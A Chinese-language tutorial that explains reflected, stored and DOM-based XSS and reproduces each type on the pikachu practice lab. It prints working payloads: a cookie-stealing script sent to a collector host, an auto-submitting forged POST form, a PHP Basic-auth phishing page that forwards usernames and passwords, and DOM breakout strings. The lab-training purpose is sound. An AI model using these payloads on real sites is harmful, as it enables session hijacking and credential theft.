XSS跨站指令碼攻擊(Cross site script)解析及靶場復現
1. 概述
跨轉指令碼攻擊(Cross site script),為區分CSS層疊樣式表,故稱為XSS。XSS屬於客戶端攻擊,通常指攻擊者在網頁中嵌入Javascritp編寫的惡意程式碼指令碼,當用戶使用瀏覽器瀏覽被嵌入惡意程式碼的網站時,惡意程式碼將會在使用者瀏覽器上執行併產生危害。
XSS漏洞常見的危害:
- 盜取使用者cookie
- 修改網頁內容
- 網站掛馬
- 利用網站重定向
- XSS蠕蟲
而XSS漏洞形成的原因主要是對程式的輸入和輸出沒有做合理的限制,攻擊者通過構造指令碼語句繞過限制傳至前端時,瀏覽器會將攻擊腳本當做有效程式碼執行。故在XSS漏洞的防範上常對輸入進行過濾,過濾掉可能導致XSS攻擊的字元輸入;對輸出到前端的內容進行適當轉義。
XSS漏洞主要分為三類:反射性XSS、儲存型XSS、DOM型XSS。以下通過靶場(pikachu靶場)的練習對各類XSS漏洞進行更深入的理解。
2. 反射型XSS
反射性XSS也稱為非持久XSS,當用戶訪問一個帶有XSS程式碼的URL請求時,伺服器端接收資料後處理,然後將帶有XSS程式碼的資料傳送到瀏覽器,瀏覽器解析這段帶有XSS程式碼的資料造成XSS漏洞,這個過程像一次反射,故稱為反射型XSS。
2.1反射性XSS(Get)
輸入Easyoung,內容被直接執行寫入,並跳轉出who is Easyoung,i don't care!
嘗試直接注入,發現前端有輸入長度限制。
<script>confirm('You are attacked!!!')</script>
按F12開啟原始碼將長度最大值20改為200,重新注入成功彈出視窗。此外還可通過Burpsuit抓包繞過字元長度限制。
2.2 反射性XSS(Post)
首先根據提示輸入賬號密碼
登陸成功後跳轉到和Get型類似的頁面
這裡就已經體現出兩種型別的區別了,Get型是直接提交資料,而Post型需要先通過Post方式認證之後再通過Get方式來提交資料。
我們可以模擬黑客的攻擊過程,如XSS Get型。黑客將構造好的連結傳送釋出到各類社交媒體中,當有使用者點選該連結時會重新跳轉到主頁面或者重新整理重定向到主頁面,使用者幾乎無感知。但此時使用者的cookie已經被髮送到了黑客的伺服器上(靶場伺服器部署在本機上),黑客成功盜取到使用者的cookie等相關資訊。
http://192.168.43.223/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.43.223%2Fpikachu%2fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E &submit=submit
而對於Post型方式,使用者點選惡意連結之後並不會直接觸發盜取到cookie,因為需要通過認證登陸。所以黑客需要利用伺服器去偽造POST請求去登入, 從而盜取使用者登入成功後的cookie。攻擊流程如下:
偽造的Post表單自動提交的程式碼如下:
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://192.168.43.223/pikachu/vul/xss/xsspost/xss_reflected_post.php"> //向存在Post型XSS漏洞的網站地址傳送Post請求 <input id="xssr_in" type="text" name="message" value= "<script> document.location = 'http://192.168.43.223/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; //黑客的XSS管理平臺地址以及XSS指令碼 </script>" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
回到靶場中,當登陸成功之後點選攻擊連結:http://192.168.43.233/pikachu-master/pkxss/xcookie/post.html ,即上面HTML程式碼的頁面。這相當於受害者幫我們提交了一次POST請求。
提交完之後使用者側會重定向跳轉到主頁面,而黑客的XSS管理平臺則成功盜取了使用者的cookie。
最後Get型XSS和Post型XSS的區別在於:GET方式中, 攻擊程式碼是直接暴露在URL中的;POST方式引數內容不會出現在URL中。
3.儲存型XSS
儲存型XSS又稱之為永續性XSS,是最危險的一週跨站指令碼。當攻擊者提交一段XSS程式碼後,被伺服器端接受並存儲。當攻擊者或者其他使用者再次訪問該頁面時,這段程式碼被程式讀出來並響應給瀏覽器,造成XSS跨站攻擊,這便是儲存型XSS。
儲存型XSS與反射型、DOM型相比,具有更高的隱蔽性和危害性。它無需像後兩者一樣靠手動觸發。儲存型XSS漏洞所存在的場景主要有留言板塊、資料填寫板塊、郵件系統等與後端互動並存儲的場景。
提交XSS語句:<script>confirm('You are attacked!!!')</script> 。重新訪問該頁面成功彈出視窗,此時這句程式碼已經被儲存在資料庫中,往後每次訪問這個留言板的時候, 都會觸發這個js程式碼。
3.1 儲存型XSS漏洞的利用
場景一:當某網站的某一頁面存在儲存型XSS,黑客利用該漏洞可以在該頁面嵌入一段Basic認證的惡意JS指令碼。每當使用者訪問該頁面的時候都會觸發這段惡意JS程式碼,就會彈出輸入提示使用者輸入賬號密碼的頁面,然後將使用者的賬號密碼發往釣魚伺服器成功盜取使用者賬號密碼。下面是靶場自帶的彈出頁面(比較簡陋,黑客一般會精心構造一個與受攻擊網站類似的登陸頁面起到迷惑作用)和程式碼。
<?php error_reporting(0); // var_dump($_SERVER); if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { //傳送認證框,並給出迷惑性的info header('Content-type:text/html;charset=utf-8'); header("WWW-Authenticate: Basic realm='認證'"); header('HTTP/1.0 401 Unauthorized'); echo 'Authorization Required.'; exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ //將結果傳送給蒐集資訊的後臺 header("Location: http://192.168.43.223/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]} &password={$_SERVER[PHP_AUTH_PW]}"); } ?>
當用戶在彈出的框內輸入賬號密碼後,釣魚後臺伺服器自動上線了表單記錄。
場景二:當用戶提交資訊之後,內容被儲存在後臺數據庫中,從前端無法檢視。若注入XSS程式碼,也就無法知道XSS是否被執行。但如果管理員登陸後臺檢視提交的資訊,而後臺將該資訊的內容輸出執行,則後臺管理員就容易遭到XSS攻擊。
插入XSS程式碼,提交到後臺。
然後我們模擬管理員登陸。
成功彈出被攻擊的視窗。
4.DOM型XSS
DOM的全稱為Document Object Model(文件物件模型),DOM通常用於代表在HTML、XHTML和XML中的物件。使用DOM可以允許程式和指令碼動態地訪問和更新文件的內容、結構和樣式。
通過JavaScript可以重構整個HTML頁面,而要重構頁面或者頁面中的某個物件,JavaScript就需要知道HTML文件中所有元素的“位置”。而DOM為文件提供了結構化表示,並定義瞭如何通過指令碼來訪問文件結構。根據DOM規定,HTML文件中的每個成分都是一個節點。
DOM的規定:
- 整個文件是一個文件節點;
- 每個HTML標籤是一個元素節點;
- 包含HTML元素中的文字是文字節點;
- 每一個HTML屬性是一個屬性節點;
- 節點與節點之間都有等級關係。
HTML的標籤都是一個個節點,而這些節點組成了DOM的整體結構。
由此可見,DOM本身就代表文件的意思,故DOM型XSS是不需要和伺服器端進行互動,只發生在客戶端處理資料階段。
在靶場中直接插入JS程式碼 <script>confirm('You are attacked!!!')</script> ,彈出了'>what do you see? 連結。
檢視原始碼
function domxss() { var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; }
可以看出來輸入的值先用單引號閉合起來後在傳遞資料,嘗試繞過單引號。插入如下程式碼成功彈出視窗。
'> <img src="" onerror=alert('You-are-attacked!!!')>
此外通過javascript偽協議也可繞過插入
javascript:alert("You are attacked !!")